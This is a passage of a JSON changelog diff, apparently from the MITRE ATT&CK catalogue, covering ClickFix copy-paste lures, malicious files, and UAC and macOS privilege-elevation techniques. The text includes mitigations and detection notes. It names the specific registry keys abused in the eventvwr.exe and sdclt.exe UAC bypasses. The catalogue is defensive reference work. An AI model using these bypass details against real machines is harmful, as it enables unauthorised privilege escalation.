>used in [Drive-by Compromise](https://attack.mitre.org/techn>hich adversaries present users with seemingly helpful soluti
>iques/T1189), may present fake error messages or CAPTCHA pro>ons\u2014such as prompts to fix errors or complete CAPTCHAs\u2014that 
>mpts that instruct users to open a terminal or the Windows R>instead instruct the user to copy and paste malicious code. 
>un Dialog box and execute an arbitrary command. These comman> Malicious websites, such as those used in [Drive-by Comprom
>ds may be obfuscated using encoding or other techniques to c>ise](https://attack.mitre.org/techniques/T1189), may present
>onceal malicious intent. Once executed, the adversary will t> fake error messages or CAPTCHA prompts that instruct users 
>ypically be able to establish a foothold on the victim's mac>to open a terminal or the Windows Run Dialog box and execute
>hine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoi> an arbitrary command. These commands may be obfuscated usin
>a ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citatio>g encoding or other techniques to conceal malicious intent. 
>n: AhnLab LummaC2 2025)  Adversaries may also leverage phish>Once executed, the adversary will typically be able to estab
>ing emails for this purpose. When a user attempts to open an>lish a foothold on the victim's machine.(Citation: CloudSEK 
> attachment, they may be presented with a fake error and off>Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citatio
>ered a malicious command to paste as a solution.(Citation: P>n: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)  
>roofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Pas>Adversaries may also leverage phishing emails for this purpo
>te 2024)  Tricking a user into executing a command themselve>se. When a user attempts to open an attachment, they may be 
>s may help to bypass email filtering, browser sandboxing, or>presented with a fake error and offered a malicious command 
> other mitigations designed to protect users against malicio>to paste as a solution, consistent with the \"ClickFix\" strat
>us downloaded files. >egy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Ma
 >licioys Copy Paste 2024)  Tricking a user into executing a c
 >ommand themselves may help to bypass email filtering, browse
 >r sandboxing, or other mitigations designed to protect users
 > against malicious downloaded files. 
", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0340: User Execution \u2013 Malicious Copy & Paste (browser/email \u2192 shell with obfuscated one-liner) \u2013 T1204.004" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:49:36.954000+00:00", + "modified": "2025-10-24 17:48:31.674000+00:00", + "name": "Malicious File", + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/002", + "external_id": "T1204.002" + }, + { + "source_name": "Password Protected Word Docs", + "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.", + "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/" + }, + { + "source_name": "Mandiant Trojanized Windows 10", + "description": "Mandiant Intelligence. (2022, December 15). Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government. Retrieved September 26, 2025.", + "url": "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "TruKno" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.674000+00:00\", \"old_value\": \"2025-04-15 19:58:13.883000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", \"old_value\": \"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, and .reg.\\n+An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)\\n \\n Adversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Mandiant Trojanized Windows 10\", \"description\": \"Mandiant Intelligence. (2022, December 15). Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government. Retrieved September 26, 2025.\", \"url\": \"https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1An adversary may rely upon a user opening a malicious file it1An adversary may rely upon a user opening a malicious file i
>n order to gain execution. Users may be subjected to social >n order to gain execution. Users may be subjected to social 
>engineering to get them to open a file that will lead to cod>engineering to get them to open a file that will lead to cod
>e execution. This user action will typically be observed as >e execution. This user action will typically be observed as 
>follow-on behavior from [Spearphishing Attachment](https://a>follow-on behavior from [Spearphishing Attachment](https://a
>ttack.mitre.org/techniques/T1566/001). Adversaries may use s>ttack.mitre.org/techniques/T1566/001). Adversaries may use s
>everal types of files that require a user to execute them, i>everal types of files that require a user to execute them, i
>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp>ncluding .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cp
>l, and .reg.  Adversaries may employ various forms of [Masqu>l, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)
>erading](https://attack.mitre.org/techniques/T1036) and [Obf>  Adversaries may employ various forms of [Masquerading](htt
>uscated Files or Information](https://attack.mitre.org/techn>ps://attack.mitre.org/techniques/T1036) and [Obfuscated File
>iques/T1027) to increase the likelihood that a user will ope>s or Information](https://attack.mitre.org/techniques/T1027)
>n and successfully execute a malicious file. These methods m> to increase the likelihood that a user will open and succes
>ay include using a familiar naming convention and/or passwor>sfully execute a malicious file. These methods may include u
>d protecting the file and supplying instructions to a user o>sing a familiar naming convention and/or password protecting
>n how to open it.(Citation: Password Protected Word Docs)   > the file and supplying instructions to a user on how to ope
>While [Malicious File](https://attack.mitre.org/techniques/T>n it.(Citation: Password Protected Word Docs)   While [Malic
>1204/002) frequently occurs shortly after Initial Access it >ious File](https://attack.mitre.org/techniques/T1204/002) fr
>may occur at other phases of an intrusion, such as when an a>equently occurs shortly after Initial Access it may occur at
>dversary places a file in a shared directory or on a user's > other phases of an intrusion, such as when an adversary pla
>desktop hoping that a user will click on it. This activity m>ces a file in a shared directory or on a user's desktop hopi
>ay also be seen shortly after [Internal Spearphishing](https>ng that a user will click on it. This activity may also be s
>://attack.mitre.org/techniques/T1534).>een shortly after [Internal Spearphishing](https://attack.mi
 >tre.org/techniques/T1534).
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0294: User Execution \u2013 Malicious File via download/open \u2192 spawn chain (T1204.002)" + ], + "dropped": [] + } + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "attack-pattern", + "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 13:58:14.373000+00:00", + "modified": "2025-10-24 17:48:53.277000+00:00", + "name": "Abuse Elevation Control Mechanism", + "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548", + "external_id": "T1548" + }, + { + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + }, + { + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", + "url": "https://www.sudo.ws/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"User Account: User Account Modification\", \"Command: Command Execution\", \"Process: OS API Execution\", \"File: File Modification\", \"Process: Process Metadata\", \"File: File Metadata\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.277000+00:00\", \"old_value\": \"2025-04-15 19:58:37.690000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\\n\\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\\n\\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\\n\\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\\n-\\n-Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\\n-\\n-On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\\n-\\n-There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1038: Execution Prevention", + "M1047: Audit", + "M1051: Update Software", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0345: Detection Strategy for Abuse Elevation Control Mechanism (T1548)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 14:24:34.977000+00:00", + "modified": "2025-10-24 17:48:25.823000+00:00", + "name": "Bypass User Account Control", + "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548/002", + "external_id": "T1548.002" + }, + { + "source_name": "Davidson Windows", + "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", + "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" + }, + { + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works" + }, + { + "source_name": "SANS UAC Bypass", + "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", + "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass" + }, + { + "source_name": "MSDN COM Elevation", + "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx" + }, + { + "source_name": "enigma0x3 Fileless UAC Bypass", + "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", + "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/" + }, + { + "source_name": "enigma0x3 sdclt app paths", + "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/" + }, + { + "source_name": "enigma0x3 sdclt bypass", + "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + }, + { + "source_name": "TechNet Inside UAC", + "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", + "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx" + }, + { + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + }, + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Casey Smith" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.823000+00:00\", \"old_value\": \"2025-04-16 20:37:15.662000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\\n\\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n\\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\\n\\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe and [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\\n\\nAnalysts should monitor these Registry settings for unauthorized changes.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\\n-\\n-Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\\n-\\n-* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\\n-\\n-* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe and [HKEY_CURRENT_USER]\\\\Software\\\\Classes\\\\exefile\\\\shell\\\\runas\\\\command\\\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\\n-\\n-Analysts should monitor these Registry settings for unauthorized changes.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1047: Audit", + "M1051: Update Software", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0388: Detection Strategy for T1548.002 \u2013 Bypass User Account Control (UAC)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-30 14:40:20.187000+00:00", + "modified": "2025-10-24 17:49:16.860000+00:00", + "name": "Elevated Execution with Prompt", + "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1548/004", + "external_id": "T1548.004" + }, + { + "source_name": "AppleDocs AuthorizationExecuteWithPrivileges", + "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 